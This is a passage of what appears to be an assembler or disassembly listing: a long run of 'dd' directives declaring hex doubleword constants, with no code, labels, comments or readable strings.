41C8CF00h, 0AD6A31F7h dd 468B3E9Ch, 1880B63Fh, 4542E01Ch, 600F8475h, 80031AFAh dd 47A857DEh, 6D7BD0h, 0C6F24CE4h, 1B99E5F0h, 8035A11Dh dd 20DE100Ch, 0F24D3FB6h, 3AF0A00h, 9F952D1h, 33F2A3Bh dd 9B7760A3h, 0D044A014h, 3570058Dh, 80D9916Dh, 0EBC6E646h dd 61DAF519h, 4F4A420h, 3D33F6BCh, 7C83AD90h, 0E7B7A22Eh dd 0F427BAD1h, 0A8CDFFC1h, 0B091A144h, 273B8154h, 80FDC7D8h dd 0D140220Ch, 27F087h, 58703ADAh, 0FC17C546h, 8E514E60h dd 35C9E42h, 0AEEC3345h, 91E78B70h, 80C5BD74h, 0B3D8A978h dd 39F9555Ah, 0D9B077A8h, 0A5367118h, 29978C44h, 11A8C3A1h dd 984F8AB0h, 0D34DF005h, 0A815504Ah, 0F24AA380h, 2CC67AFFh dd 5640DFCh, 0C41922A1h, 0D9A44202h, 8B81B6BAh, 0C359EFE4h dd 0B5D534F8h, 8070B1E1h, 0CF00FCB9h, 70002C91h, 64A5DFE2h dd 8CE87Dh, 49FD43D8h, 30C746E1h, 790040F6h, 9C6697E7h dd 0E4CD2751h, 5922009Ah, 0C16A38EAh, 0E20079A6h, 68E89E74h dd 305CF5h, 4D70E0BAh, 43879CA1h, 4F723Eh, 4CA6C6B4h, 0D6DC0h dd 1D7FA2B3h, 22A025AAh, 62C9E300h, 0B2D9A570h, 0B277D89h dd 0CD2370Dh, 1187BF0Fh, 0C09E2FC6h, 42E82E97h, 6000BD3Ah dd 45F1610Fh, 4D07E3h, 40C52847h, 0F42C34EAh, 0D1859405h dd 3B81A00Ch, 20807224h, 9B6FB6BFh, 7C00DB15h, 9EF8DAEAh dd 1DBA748Eh, 0EA3A061h, 45A0E340h, 4ADDE528h, 0DFE1BE01h dd 0C72566C1h, 0A3A2088Dh, 49A8D320h, 0D3004E90h, 0B4E85904h dd 11312FCh, 191FBF33h, 204B2774h, 2B00D07Eh, 577F3C0Ah dd 6C4F33EFh, 0A0B92014h, 29B0BA00h, 367003F2h, 0DED200B6h dd 0C67C83E5h, 4C1893AFh, 0C8983276h, 5F720037h, 6E2F6CF9h dd 2C747AA1h, 0FAEA320h, 3F733E68h, 9F785100h, 18C0AFCCh dd 403247D5h, 7DBC0F8Ch, 0C36023A0h, 0B7D1E90Bh, 89E2F218h dd 0A4278B70h, 361D0EA8h, 46AC373Ch, 0F200B688h, 7C80768Ah dd 0E6B5234Fh, 4B100091h, 0AA6A2C68h, 410047B1h, 14F61F35h dd 15566688h, 44C1D71h, 0C13075ECh, 7FF1072h, 26F803CCh dd 0D59B7415h, 0D0145AA1h, 213E84B7h, 0C86A0388h, 0E385810Eh dd 0B89E0EBh, 2017017Bh, 0D4A63F67h, 41598148h, 28A51E44h dd 0BF8C508Fh, 35C703D1h, 3A1B1023h, 72807328h, 0BBA5EE17h dd 0E612D37Ch, 1C11ACh, 14AB0C0h, 0D3F60E1h, 17EDF57Eh dd 863DD560h, 4E077541h, 0E4D0CC0h, 0C61908B8h, 395CC39h dd 0EE32DF85h, 9272FA0Ah, 5403C070h, 0BF230014h, 49E9CB8Bh dd 0C2A01FFCh, 0CC32C86Dh, 0E0D5E882h, 1B4016Dh, 0C1A68F0Ah dd 884A8635h, 3A164FE9h, 1F004C53h, 0A359C7C1h, 0D33B397Dh dd 9BB4D494h, 0E2B8EF0Ah, 3E809408h, 24547CBEh, 65EE07CAh dd 0CF06CE59h, 8439D4Fh, 0E4E00D29h, 0B0E2C77Fh, 0C395C19h dd 0F8D76670h, 0A190DDh, 24F3EA15h, 118D7F12h, 3A309772h dd 253948EEh, 4B493EBDh, 428F8B3Ch, 3884403Fh, 0FD3075Eh dd 765053D3h, 0CE453C59h, 3B9BF301h, 982BB7C7h, 0AB218408h dd 0EDDF0022h, 616451EFh, 0BE01D085h, 5CD55241h, 3024087Ch dd 5F20904h, 368FAF93h, 9F100472h, 3E6C0E09h, 0EC92C8C0h dd 3ABDE8ABh, 0F42AAA8Bh, 1FD798Ch, 7F4DF835h, 0D7DEB9E3h dd 0EB0C9F0h, 3FC8D212h, 4F9B4800h, 0A80F1606h, 5FBDC0h dd 0DB91A50Ah, 0DA690BE4h, 26C008C9h, 205D1Ch, 0EF4EE3Fh dd 98E8628Bh, 95BA8009h, 5F8C234Ah, 24E90066h, 7AB70726h dd 0FE0433C8h, 0DF54275Dh, 4818F3C0h, 7EB505C4h, 0C540D201h dd 8E2C0042h, 45942D03h, 2CFCAC07h, 57E01A50h, 0EA63D09h dd 0DCC63471h, 5D3CAA00h, 0C00470Fh, 8C79C7E7h, 1C7281E6h dd 8010C815h, 55480E02h, 0C0701D39h, 0B2713Ch, 0FFE119A8h dd 115CCD7h, 10CB95D1h, 0D432F454h, 0C9005F8Ah, 0BF35634Eh dd 66DC6h, 997F4181h, 9FE79322h, 0B3619100h, 333C8870h dd 0FCCB00E8h, 39EF4A6Ah, 0A417EE27h, 6F00723Dh, 0E1845C89h dd 19681FA3h, 73AD8730h, 11B077AFh, 0F89C8347h, 710375CDh dd 0ED59D957h, 72D8F8E0h, 371C33E3h, 42880748h, 0D20038F4h dd 0A2E161B1h, 0E12822Bh, 201F0685h, 0AE0271B8h, 13ACF21Eh dd 0C02BC10Fh, 6006A581h, 98F9034Fh, 32424B28h, 634C13D0h dd 5EBA5400h, 15685D12h, 4A58396Dh, 0CF07A8BCh, 0F6C0F581h dd 2009854h, 2E77B839h, 8034C6E1h, 1AEE3273h, 9DD2A003h dd 1DC221Fh, 18AEE489h, 0DFE6934Ah, 9F2713C0h, 167FEC00h dd 3C54CABDh, 0B8460099h, 0DE721BA1h, 7B0E4F77h, 0E08E1h dd 0A2EDEB8Bh, 2BE27Ch, 0F96F4754h, 0CCAA0273h, 15E0A161h dd 0A18698F7h, 68A83B91h, 4BCDE000h, 9F41649h, 36FE8EDh dd 89EF58EEh dd 0A1002AA1h, 6E3F81AFh, 0E0930Dh, 84BB7AA3h, 0C62931A1h dd 879B7300h, 0F5E953E4h, 677D62h, 0A02611A9h, 80F3E0D7h dd 95756F00h, 0D28993CDh, 28570FFEh, 4C80B81Dh, 0F6BD5B25h dd 41A50900h, 0A8AA6918h, 0FE223DAEh, 7E393C00h, 1FEBD021h dd 254B3400h, 35DADB83h, 63F20343h, 857F892Dh, 0B24C6900h dd 904B2CA8h, 25F0B7h, 95ACCE0h, 0CF210BCBh, 31B18618h dd 0E3EF10h, 5298C54Dh, 48282266h, 0A02C1C00h, 7218D1B0h dd 0FA0C067h, 7B8D16C9h, 80859837h, 1EF42F0h, 0FF66008Fh dd 0AE18C948h, 0DA00C0D9h, 33A92776h, 0E210AD3Bh, 0F14B06A5h dd 0F1A0DBEEh, 57EAB500h, 68A98E82h, 8C107F7h, 0F0AEB039h dd 4D3D40CCh, 0EC7ABF00h, 0C0B42EE0h, 4883120Ah, 0A1AC0733h dd 0CB1680C6h, 353A293Fh, 17E20149h, 4FB8D2F6h, 226FA087h dd 0C0429065h, 5E013F36h, 6274543Dh, 0A2D07157h, 146F2A7h dd 0E21CC8AAh, 0DB0EFE90h, 6700FBECh, 0FA688253h, 0F8E472h dd 5EAF831Dh, 0E33C6624h, 968CC354h, 5C625603h, 0A061D25Fh dd 76A655h, 0FDF146B6h, 0FA39A542h, 381C1B00h, 0FC0B7A54h dd 3D8F3A9Ch, 20B6E11Bh, 450955F8h, 723EF700h, 83BBD9DCh dd 606A4CA6h, 0C8D76200h, 89B05178h, 0D5BFAB00h, 9A41C246h dd 875F1B6Fh, 0C9C069E5h, 1700347Eh, 0A2C51B7Bh, 390BEB31h dd 2060625Fh, 0F525E8F7h, 0DE713519h, 58BAA268h, 0D5BCD78Ah dd 91A60024h, 925DF326h, 0EDDCD800h, 0E8C2558Bh, 4438A541h dd 9C04603Ch, 290987Eh, 27A77103h, 0D3C0A29Bh, 400EF9FEh dd 0C051E393h, 7953FB48h, 348500F4h, 59D671EFh, 551D91B2h dd 1FC3E869h, 883ACC0Fh, 70CD0E62h, 1F64758Ah, 0C082E5DFh dd 4F54D4ECh, 5E0E4189h, 2D0D2Fh, 0F1DA34DDh, 64390138h dd 0E18D47F3h, 690CFCDEh, 0EE973A1Ch, 0BB7E6800h, 529CE6h dd 82AE4E0Eh, 9EE4FD23h, 0C57BC400h, 0A7646C87h, 65270073h dd 0E738A6C6h, 0B01F2F92h, 0F7802B5Eh, 0D4A40459h, 5A6D00BAh dd 2603CF8h, 0D5036914h, 0F9EAB4Eh, 0C760FF76h, 545C0Dh dd 8B49E1A1h, 621F35Fh, 0F0AF7707h, 25111FA0h, 2080C6E6h dd 0D8D64B81h, 35EC0844h, 9984AD00h, 68237529h, 315300A3h dd 7D4652B3h, 0D70EF6CAh, 0A033097Fh, 79DF0360h, 88B70CC2h dd 9840592Ch, 49C0EB00h, 0B5680DFBh, 0B246007Fh, 91F8F6BCh dd 2002C64Eh, 0C9FC73C0h, 56888053h, 7F335979h, 0B71028BDh dd 0BC0F0080h, 7E36FDEDh, 203BC586h, 0B8A003Ah, 0F0580628h dd 94F306F5h, 615AC7F7h, 0C3008077h, 0D6CF204Fh, 8AAE97h dd 7A589651h, 2A4EA1DBh, 0F93E5E00h, 0E336053Ch, 8A84009Fh dd 46F9DCAh, 0B5006B1Fh, 0BFE79694h, 18314FA3h, 20E1D1BEh dd 220B49FEh, 83CEA2F6h, 0B89F4A40h, 0DE14F2h, 0DDBD300Eh dd 0DFEEA4FAh, 24BEB319h, 0CCE4CF58h, 59D2012Ah, 3A5E0EE6h dd 80EBD1ECh, 0CFF37821h, 2FA648h, 695DF5C8h, 1B54DD11h dd 6C761A07h, 3D70715Bh, 1229DCFDh, 1E6452h, 7593F9D0h dd 21D35707h, 522BDD06h, 0E06F6259h, 46189B8Eh, 97D00423h dd 28BE0FDEh, 0C09C00C1h, 6C9AB42Bh, 0E061B325h, 7E6DD418h dd 42BEECh, 67E3A359h, 8F924C0Ah, 78882C03h, 1052285Bh dd 0C08D1270h, 972C2392h, 46608C3Eh, 0C118FD59h, 0CCA0045h dd 13D45DD0h, 0BD3E093Fh, 0EB01F01Fh, 7BF650E3h, 0AC42F96Ah dd 0CC453004h, 21804B08h, 0B16FECh, 0B5CCB479h, 0E21D853Bh dd 0BCE0D5h, 0C4E90517h, 4EB969BFh, 0F393780Bh, 763000F6h dd 309FF07h, 0E6E79CA0h, 0A9F1C0D0h, 330C705Dh, 0E55BE400h dd 987C713Bh, 0D2D8019Eh, 781F1509h, 0FC288379h, 0F805047Bh dd 3E596821h, 260ED0A1h, 883E4C1h, 11D8E5A3h, 7F002576h dd 0D795A135h, 1E44EA9Bh, 980DB1C7h, 59237050h, 6B373400h dd 0BC213E07h, 0C7A400E6h, 60290E61h, 9F5C9BA1h, 80163897h dd 3B27FC4Ah, 30A88E81h, 6178BAD9h, 4F1DB3ABh, 7B80F05Dh dd 9A2A2753h, 0D1B200FFh, 0B4DC7A24h, 44012295h, 97481FDEh dd 8080A0B7h, 0C55537D0h, 22EC8DE8h, 0EFD78F00h, 47E3E410h dd 0E7EC00BDh, 62954F4Ah, 60ABF12h, 926CC8C3h, 5476EF01h dd 84470E84h, 0B091C7C0h, 2ABAF0F6h, 1E8C0B6Eh, 444BEB23h dd 805EF7E3h, 8F3361C7h, 0C8763C3Ah, 0D0A20768h, 0E04030ADh dd 0E8AAECC5h, 2CA90FD4h, 0BBA08740h, 54DC57DEh, 0B46A5A03h dd 0B3A75C47h, 46102927h, 0FB585504h, 0EEF40097h, 0CFE777ABh dd 4100795Ch, 0A93466F5h, 1610A23h, 0AD0D407Ah, 0E7AB35F7h dd 45A032C3h, 4097FD2Fh, 0F0049Bh, 54269E41h, 0F6E090E3h dd 162FB100h, 85FC971h, 73770EB5h, 0EAA07D31h, 0F493EED0h dd 26ABF301h, 772F3ECDh, 4A5D6E0h, 2123C740h, 7CAF846Bh dd 7D1FC264h, 5200419Bh, 4C78A79Dh, 121C0059h, 14558F48h dd 0FD00FCF0h, 393519F9h, 60172726h, 0B4C0292Eh, 55118DC1h dd 0E508C561h, 0AF042BDCh, 0C40879A4h, 22F5ED42h, 76212201h dd 2800BAC5h, 9680DE0Ch, 0DD6D89DBh, 120D002Ah, 400C8190h dd 0C265CC50h, 40C1E980h, 77623526h, 21B73079h, 1FFB114h dd 518C54B5h, 7429BAA1h, 20EC9344h, 9177E378h, 89493088h dd 626B08D8h, 533DA1C6h, 76E91821h, 0BFA27C01h, 0F5299029h dd 0F1DF6371h, 511050C6h, 65009220h, 49AD58A9h, 3900452Eh dd 50D6BF6Bh, 784FFACAh, 128200D4h, 0F966749Dh, 0BE00B6FEh dd 13CAB455h, 64CBE6h, 691E6824h, 0A5887992h, 0B70061FCh dd 0DB12434Ch, 0F974786h, 44CEBC6Dh, 0EA19C240h, 5B78078Bh dd 2FF41B12h, 7E603B00h, 75091Fh, 0C0290BD6h, 6208F50Eh dd 8CD43100h, 0E5995386h, 0DC907E4h, 0A04D3590h, 795481C6h dd 80CBDD3Ch, 726F3759h, 9702C0h, 9CF248C4h, 7E7DB809h dd 1F740100h, 6D735C9Ah, 8CC10046h, 564CD80Dh, 95001E18h dd 8FCAB86h, 6007BC9Ah, 0F17C99FBh, 0E70027DAh, 44DE92A7h dd 1CB7D004h, 808F0F66h, 6D9C675Eh, 870B0A2Fh, 27EF57h dd 89F1CC11h, 5A2B001Dh, 0D8EC427Ch, 93713B5Ch, 4379D300h dd 4BAA0BE0h, 9449001Ah, 91EF54FFh, 37F69681h, 0DA5A8000h dd 0AF0E6AC1h, 8FA10008h, 783A4402h, 54005EFBh, 0F6270A80h dd 2C7432h, 0B8BBB2Dh, 60E88FB6h, 4EDF2F00h, 0C0805B6Dh dd 74450136h, 87664C08h, 7D16CC5Fh, 190097E4h, 6B8B4D7Eh dd 0F9203C1h, 755D30DBh, 7B40E4EEh, 0C2E957C6h, 0F859F007h dd 60F092C0h, 0B84E05h, 13FDF07h, 7491CD97h, 7964D703h dd 0C082694Bh, 106DDBBh, 61BA9BE3h, 0F4219E28h, 4C001AD4h dd 0A202876Fh, 778B81CEh, 0CA54C5Dh, 0ECF7F600h, 0A92AC342h dd 322CB100h, 0EE95EF23h, 0F3F44Eh, 8280F055h, 0B1F7199Fh dd 7405D800h, 7CF44B5Eh, 0FE260788h, 501E3E83h, 0D1FF4F48h dd 0CB01B675h, 0E9879CD0h, 7930D21Bh, 74AC0064h, 802BB750h dd 9570445Dh, 0FBA2791Fh, 3D7A6283h, 17B5901Dh, 7E0C006Fh dd 0D807F8F0h, 5512ABCDh, 1800AA8Ch, 4FCC8185h, 4E0200CFh dd 2CB7F5A5h, 0E31CBE06h, 0D5811E75h, 0ED715446h, 0EEC7802Eh dd 0BE017851h, 73E36C52h, 96D0D408h, 67CF02D0h, 0DC94319Eh dd 9C0D8880h, 26C03A39h, 0F9EFEBC1h, 0AD433AB0h, 0FAB13680h dd 5977915Bh, 1004E109h, 86B4003Bh, 304DA1DFh, 0D108875h dd 1900DA5Dh, 7BD36A37h, 0A35A1CFBh, 0CC58F8A4h, 0E4871E69h dd 0BCA8805Ch, 0C675C2BAh dd 954BB101h, 4A4420BBh, 3EF170h, 0DCBC47B6h, 0FA315605h dd 0D17AE51Dh, 8502A380h, 3E605829h, 49009041h, 391CDCE0h dd 7C00DA4Bh, 15B49CA7h, 3094886Bh, 8EE0B37Bh, 5C038413h dd 2854479Bh, 0C7F3D858h, 86F0008Dh, 0BD7DABE3h, 260008D8h dd 5B4907C1h, 2628E22h, 390C6B66h, 22407FAEh, 0BD00A592h dd 0A2447468h, 38AF0348h, 63940793h, 9072D0D1h, 39FA005Ah dd 9A55CF9Bh, 0B500D2D4h, 2CE44D2Bh, 3D0E43AFh, 58036975h dd 95B1480Dh, 0F1450AB8h, 3428BF0Eh, 0F92C21C1h, 1BF4A8A7h dd 0CD98006Fh, 912D270Bh, 1277730Fh, 8F269600h, 0D541BC20h dd 4AF33C35h, 0ADEB1Fh, 7D84584Ch, 0B1010EA4h, 0C157D56Ch dd 0F0412747h, 0FECC71F5h, 2EF01Ah, 131F80CDh, 70F34CF6h dd 3CED1503h, 0E0819A44h, 1F0BD4F5h, 405EC2F0h, 6EF669A4h dd 0B33EE680h, 2300F843h, 0F304E776h, 89EB98h, 9DE9BB3Eh dd 7EF4F56Eh, 68D3D200h, 32514E87h, 0F0AC1EE7h, 0B73E80FAh dd 8A9DED01h, 64AE0A00h, 6DC78CECh, 4CE83Bh, 0EBA2A198h dd 38275AB6h, 0D4FD9D05h, 890CD91h, 61F1AAh, 1F03CCC0h dd 0F65D7AE8h, 642F9E12h, 3E76A840h, 0FFE05C0h, 32149121h dd 9F1966C0h, 797DF653h, 0FF1E221Dh, 0A7DC8889h, 1050F590h dd 4683DE3h, 1E975651h, 96708043h, 0CC001634h, 50E67581h dd 0F8CFE5DFh, 991F15C6h, 7E0BA4EAh, 0C3006883h, 5F66B3FEh dd 0D4043D71h, 0AE3290E1h, 35F8F8D0h, 0C60102E5h, 0ED689813h dd 2B55D683h, 78A87988h, 0D3011DF8h, 63855A1Fh, 0B62037CDh dd 0A4770066h, 0A03211BCh, 9D5CEEFDh, 0CAB90091h, 71E38D65h dd 7617B62h, 78A36D44h, 0F5546083h, 1C506F72h, 0C7B97AAh dd 31A78C01h, 251A0174h, 0B74A88FFh, 0F4B8004Fh, 81030218h dd 0F005BC6h, 0F0CBF1A4h, 191D701h, 0CE49D172h, 30256CA2h dd 14003A48h, 76963071h, 583C33F1h, 1F004862h, 8582A867h dd 0B1005751h, 248AF49Dh, 1DB93F64h, 5F42D113h, 5C4A8028h dd 417B0C70h, 0FEFC830Ah, 6A0008AAh, 0A9F2FD6Ch, 4BF80799h dd 60ADF0CDh, 0F55A5E80h, 0B4134500h, 0B29590D6h, 0A4CA24BDh dd 46F00918h, 2F1D4A0h, 8F03EB8Ch, 5278DCF7h, 43EAB87Ah dd 0B2540075h, 35FFD89Eh, 9C1FD32Eh, 0AF4031FBh, 2280EED2h dd 8EFC0202h, 8BE12508h, 77271840h, 84B88423h, 80AEC723h dd 0C6D51590h, 9D75E401h, 0D12CDE71h, 7AC189D0h, 320E0646h dd 9E1C10C4h, 8AA93Dh, 0B4A71685h, 732E2C4Ch, 707060D1h dd 271FC06Bh, 1C49C91Fh, 4C516A80h, 3DF003h, 143E8005h dd 0B17F875Ch, 97735807h, 2B09D4Eh, 0C507E6F3h, 808F2B02h dd 18651994h, 2DBA6D05h, 8AC26FC6h, 3CBC408Eh, 7E733E51h dd 0C260C70Fh, 0C9508360h, 9801BDD9h, 81F953E5h, 6FE46137h dd 33190775h, 91EA0C52h, 608DE38Eh, 1C0B6ED6h, 8022D4D9h dd 0BF133474h, 0E6160057h, 0BBE50972h, 0DE0062CFh, 3D50EBC4h dd 4E10C9h, 0BF5A9395h, 0FC1E3CEh, 7862331Fh, 0B4C58C2h dd 9B50C04Fh, 36440EF2h, 926075FBh, 0B88FB337h, 0F716DE3Ch dd 80E4DC3Bh, 97E6596Fh, 3534E14h, 0DFC264A9h, 11001786h dd 0D6FEE367h, 482495F3h, 21002416h, 2F43654Ch, 0F80B83FDh dd 81B05E9Ah, 0E9A1FC6Ch, 82B9D0h, 3973864Fh, 44F31C6Bh dd 87713401h, 841B0ACEh, 52B7E0h, 2DFA7D20h, 0A606C14Bh dd 0B28EBA00h, 0B5CDEB77h, 5A26128Fh, 0AE580057h, 0AAA0DACEh dd 4D78E700h, 8AEB867Fh, 83E901ABh, 32EEC0C5h, 52F5E051h dd 0C10CFEFCh, 11A83C22h, 74B703ADh, 0A302C0D0h, 55FCC1F4h dd 48CA71AAh, 210057E8h, 9CC2E286h, 207E35h, 6F145B46h dd 5960D7EBh, 0A4802700h, 0B5984DF6h, 71FA004Ch, 0F3DEBCD2h dd 0BB006DCBh, 3315957Ah, 0FB2176h, 0BC8A583Ah, 877BE8DDh dd 8C79C400h, 0A133DC28h, 0C95B00B4h, 1EECD71Fh, 64138637h dd 782893F6h, 997B00ABh, 9141E847h, 0A402B00Bh, 3D520A66h dd 0E2D86069h, 3783001Bh, 0ED7459A7h, 6A005B7Bh, 96C04A46h dd 36543Fh, 0FFADF5C6h, 983D687Fh, 440AB004h, 0C8804830h dd 50210997h, 63BE8FCh, 0A3A812B1h, 0C10010EAh, 8E394569h dd 2A18967h, 0F1B97B6Ah, 14E043ACh, 0C5001CE3h, 39623B7Dh dd 58B3B2h, 0F55BAF37h, 0D93DCDC0h, 69003CB8h, 524362DDh dd 0F418240Fh, 0C22D072Eh, 0B03866B7h, 6DFC9B9Eh, 7D337F00h dd 6C26BF98h, 0B2BB3B7Ch, 0A86AE280h, 0D196641Ch, 0D8777000h dd 1055F5C1h, 7914F6F1h, 52890A1h, 7CD4EDEAh, 2CBC4F50h dd 60E71500h, 12003E16h, 0D1623474h, 3C35BFFh, 2B265E70h dd 4885C9Fh, 8200887Bh, 2C8789Ah, 0B05179D3h, 6B090058h dd 7F8E6328h, 0D2001084h, 7B0EF24Bh, 7CAE72h, 9B42E337h dd 7E8422A2h, 0F0DAF800h, 0FB44F6A0h, 43C00496h, 0E040C828h dd 0F905F3B4h, 0BA56B819h, 0F1E67041h, 0B4C42388h, 0DB7312ACh dd 135020A9h, 0E23D5E5Ch, 5D6200D7h, 9C1FDF87h, 4ACE1F98h dd 730BC076h, 0B3F6885Ah, 190D8A79h, 223F7250h, 2F6EC0h dd 3E659AD6h, 0DF817A25h, 0C7B1E000h, 45E16858h, 0CB90C018h dd 4DA39F16h, 0EC2F913h, 0EE139900h, 1896F29h, 46D9823Fh dd 0D1D511C5h, 0FB94DC02h, 4A00E67Ch, 6FBBD026h, 747AE7h dd 21E08376h, 4CCA8A2h, 0D8A0700h, 0C9085F4Fh, 0C5EECBh dd 95F5456Eh, 765F1FBh, 0AC9E0F03h, 0C833D63Ah, 58D39357h dd 7400F738h, 0AE502FC1h, 66180DE4h, 0BD38E216h, 0C7A9005Ah dd 915E8611h, 8F0ADBCFh, 0ACC49790h, 0EB127500h, 32F7Dh dd 795EA9C0h, 2525CAAh, 0C80F51E8h, 9E176B73h, 6FC02B9Fh dd 7F67B62Fh, 9EDC00DEh, 0DF802976h, 160043E7h, 0E5FCDDADh dd 0FE52E0h, 30CAE41Fh, 105EB879h, 0D327C00h, 40A7AF7Fh dd 6FD500F9h, 1A441E27h, 63130685h, 0E400D723h, 1FDBF1BCh dd 7735004Eh, 393029B9h, 32007D31h, 6AC38B1Ah, 9012678Ah dd 4F42FC9Bh, 81D002D8h, 3C4083E6h, 0EB1D039Bh, 3343E8B9h dd 0B81B0FE9h, 1F4ADA2Ah, 836D26E0h, 3B430A60h, 0E8A88A99h dd 0B0EA335Ch, 0B84BB13Eh, 5E4400C3h, 6EBE16DFh, 26FD1331h dd 0A0240036h, 466B050Bh, 0DC024E2Ch, 0BA0479A6h, 50C0E3F3h dd 6E2ABFh, 595A3509h, 0D667408Ch, 0F592E000h, 218BC3A3h dd 787A81h, 0CAAF83B1h, 28E7192Bh, 825BB00h, 0C8665FBDh dd 0EFB20032h, 6C9DEABFh, 86B8D4A1h, 0F026A930h, 0E32FB1Ah dd 456649FFh, 758B4D80h, 6C3F42C2h, 5F6F815Bh, 0EBFEB1FDh dd 27C20h, 577669A8h, 64AF09A0h, 2CC1A401h, 0E5E0E9BEh dd 2895E7CCh, 6E0481Dh, 0B5663FBh, 0BC011147h, 30DF7F7Dh dd 35CC4B17h, 0FB73019Ah, 0C2B7C67Eh, 11C3C91h, 52D57BFAh dd 66DC07BDh, 837500E5h, 336A4E4Bh, 0AD007FC0h, 0EE1276EDh dd 295B84h, 85926EBFh, 0F137FBCFh, 38BAD300h, 7697F841h dd 810C0007h, 28B23C10h, 4490FA27h, 2CCCC24Ch, 0CC24BC5Ch dd 993F1C00h, 7A8FE72Eh, 83B90033h, 58A2890Ah, 0C317906Eh dd 7C005FE5h, 0BC5BE82Fh, 0BD48C027h, 7994644Ch, 0C9177F00h dd 4612C08Bh, 4A13002Dh, 8ACC0E68h, 5A00E292h, 202CBE75h dd 7FD5B52h, 41F86C88h, 9A27D09Eh, 0E006AAA8h, 7AB2AFBEh dd 7240E8FCh, 0DDD23E89h, 86AA9200h, 1E1063C6h, 0CE1E457Fh dd 0B40D95FAh, 0F460985Ah, 5E761886h, 79512624h, 0B7002698h dd 6DB31B8Eh, 112C4E7h dd 0B9CD86FCh, 0E4E07B94h, 190084F2h, 4FB2237h, 0E56468h dd 61489F0Bh, 24521B66h, 595D3Eh, 75798977h, 0ECF78D71h dd 1C9E4BBDh, 0FCFE8588h, 689092D5h, 0A301FE80h, 2F0786F4h dd 4CFCDF5h, 0FA8DC160h, 15F101B6h, 6551DDC8h, 9FA7E83Fh dd 5E0058B0h, 0ACE4A2B5h, 1F04012h, 5BC9F907h, 0D86B0A95h dd 57009A8Bh, 0CC848533h, 0BF9E2Eh, 7097125Fh, 73C593F7h dd 2BF43802h, 0E05861EBh, 7274166h, 0F30AC628h, 0C0843718h dd 5EF67533h, 0AEFACC00h, 0F09C889Fh, 50C1C099h, 7B0F77B1h dd 80EA0C12h, 9040A00Bh, 6225CCh, 0DF462999h, 5E31D2CFh dd 102C3Eh, 54B90773h, 2B0A4C4h, 0D9BC956Bh, 2C689FA2h dd 0F200D1FFh, 8F88031Bh, 1C4D59BBh, 80911ADBh, 0D9B6C00Bh dd 0A35C47C1h, 55FE073Dh, 0FFD0893Ah, 74FA32h, 0CCEDCEBh dd 0ABD0CFF8h, 1181A4B4h, 250B8C17h, 0BBDA4282h, 0CC80907Dh dd 0F338A822h, 2A26967Ch, 0AC8130A7h, 0AB0FD131h, 7713E4D4h dd 791E00DEh, 0E1FE2576h, 0E90075CEh, 6E7AA754h, 26184660h dd 1A24384h, 5E63BD8h, 9B1BC445h, 1F02587Bh, 3329180Ah dd 1ED47030h, 441104F9h, 8740BB34h, 0F0378710h, 620AED78h dd 219D5B27h, 0CFFBA0E8h, 480702D0h, 0CA00A6A1h, 0E60BCCD8h dd 690FD045h, 80A3E40Dh, 0B26A2D6Fh, 2792001Ah, 9FD659E5h dd 8B001C3Dh, 47763AA1h, 0BB811B7h, 0D7FA8AD4h, 0AF41A280h dd 0C4FF31A6h, 0D1394A53h, 2ABA23h, 85689B3Fh, 25C407h dd 32249955h, 0D6EF1D2Ch, 8202EC00h, 526E9648h, 0EB7250h dd 0AB25388Ch, 0C60C19C2h, 71009AECh, 0B9640620h, 7931D12Bh dd 5DE01DBDh, 81DCC0C3h, 0F2421E69h, 3E39C24h, 0EDDD0039h dd 107D8E2Eh, 0A030081h, 5060B03Eh, 6A0028D1h, 0CBF88A0Bh dd 3B044BB3h, 5060DD1Fh, 0B5FDE6CEh, 0E0A41C09h, 49F981E7h dd 0E020320Ch, 0FE9845h, 0CCD20D1Ah, 0EF1F305Dh, 5AA3BA0Fh dd 0EED77FF1h, 3BE85C80h, 248100D3h, 0A764F71Fh, 1000CD2Fh dd 85E7C34Bh, 7313FBD7h, 9BCD308h, 3420059Eh, 0EBC218ECh dd 15524B00h, 73064FA9h, 3B781463h, 0BA39CC41h, 10F2100h dd 4E3E38F5h, 5909247Ah, 2720C189h, 0CFB04FB0h, 24F6F80Ah dd 0CB279h, 0BC8009FBh, 0E6003A0Bh, 0A7E4837h, 0C3D9E2h dd 6E44C16Dh, 5EDCC7CFh, 30E89605h, 6480E141h, 48E02FEDh dd 0D45224D8h, 544DEBC2h, 3C00FC50h, 2685BF78h, 63617ADh dd 0B6A2E59Eh, 29002121h, 9CE668C5h, 32F882h, 95A93F0h dd 486FE37Ah, 196930E9h, 0FBF53Eh, 408A2746h, 0F27BA573h dd 0A9010006h, 0A7F2A6ECh, 0B72E09CBh, 0BC3EB454h, 1F8000B3h dd 16984315h, 0B97600EAh, 7F40661Ch, 0D94EA838h, 5588B7C0h dd 0EA8E3AD2h, 8D996530h, 27001152h, 2EAB7AADh, 1D1E874h dd 8CF08AF3h, 6FAF66E3h, 0C460F9A1h, 5A1D0071h, 0B4D5A4ECh dd 0BD01AABBh, 97C3599Dh, 0E3D6EFFEh, 93EE899Dh, 4F0DB880h dd 86B1A01Dh, 0A222190Eh, 9BEC0017h, 2E5690Ah, 0B5F70383h dd 0E9E033F6h, 0D301A06Ah, 588C35CCh, 0E6C42DECh, 0BBFC0079h dd 0C5EDC1B4h, 0D503280Bh, 37FF7773h, 9120DF2Ch, 7A70FCh dd 462514EBh, 0E64B8538h, 0B00F0790h, 81AA7D98h, 0FFBDCD40h dd 0A00132CCh, 0A09B26F0h, 1507C7h, 0C2492FCFh, 0AA3C4F0Fh dd 6389A700h, 52B0A39Eh, 7967FEE4h, 1FBA73B9h, 40E75A09h dd 3739EC14h, 0C107B6CEh, 0FDB13C51h, 0EA1B48C0h, 0FAFB0052h dd 0CA827DC9h, 7B00A640h, 28CFFC2Eh, 1C2F4A3Bh, 0DDBDB113h dd 408B0771h, 0FF410061h, 77009B7Ah, 0B0229478h, 291AB9h dd 2F3756A8h, 4AC68EE1h, 8E57DA3Ah, 2EF1C751h, 4FA954h dd 0EDBB50AEh, 0EAD80125h, 87399C0Eh, 87E03C5Ah, 31F00717h dd 987F097Bh, 84970088h, 0DCE64478h, 0C900F7EBh, 55B3733Dh dd 5C694Dh, 2E2D4C6Eh, 31DB4515h, 576B9B04h, 0EFC0F3E4h dd 917750h, 168109F2h, 47D7A962h, 36B05E50h, 952CAC00h dd 1FE8A1A4h, 62B8006Ch, 594B97D0h, 0E01236Ah, 5E6D161Bh dd 2720E821h, 93A51CDDh, 0D820E70Bh, 982A64E6h, 0B68C7500h dd 8B48A24Bh, 98264AADh, 0A0001288h, 60EAF553h, 